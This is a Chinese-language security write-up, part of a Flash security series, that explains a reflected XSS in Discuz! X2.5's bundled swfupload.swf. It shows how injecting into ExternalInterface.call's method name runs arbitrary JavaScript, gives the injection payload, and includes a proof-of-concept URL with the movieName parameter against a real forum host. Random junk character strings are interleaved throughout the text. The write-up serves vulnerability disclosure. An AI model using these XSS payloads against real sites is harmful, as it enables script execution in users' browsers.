Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说

flash.external.ExternalInterface.call($methodName, $parameter)
& ]; m3 W7 ]! ?在浏览器中执行的是
! g' X7 q' h' E7 O
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
: O/ p" n. U8 v6 u4 d对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
8 m9 o) Q: t  K% {  F
' z  h& J2 O% S+ R. [' M$ E* Iflash.external.ExternalInterface.call("object."+$methodName, $parameter)
# N; J* r0 s# d0 H; k2 u5 o7 l$ v$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。

, w' f8 j% {" M6 N, V) Htry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

8 ?( T# @/ {1 A* E) N+ R" W这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。



漏洞文件：upload\static\image\common\swfupload.swf

原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf
7 O% V2 z  B* W" [& i2 ?& n' D

, F, z* p) F% y9 s6 Y漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
8 j# A$ [8 n& g- _7 |* \! H

/ T% S/ |" s# G! M2 u3 e: s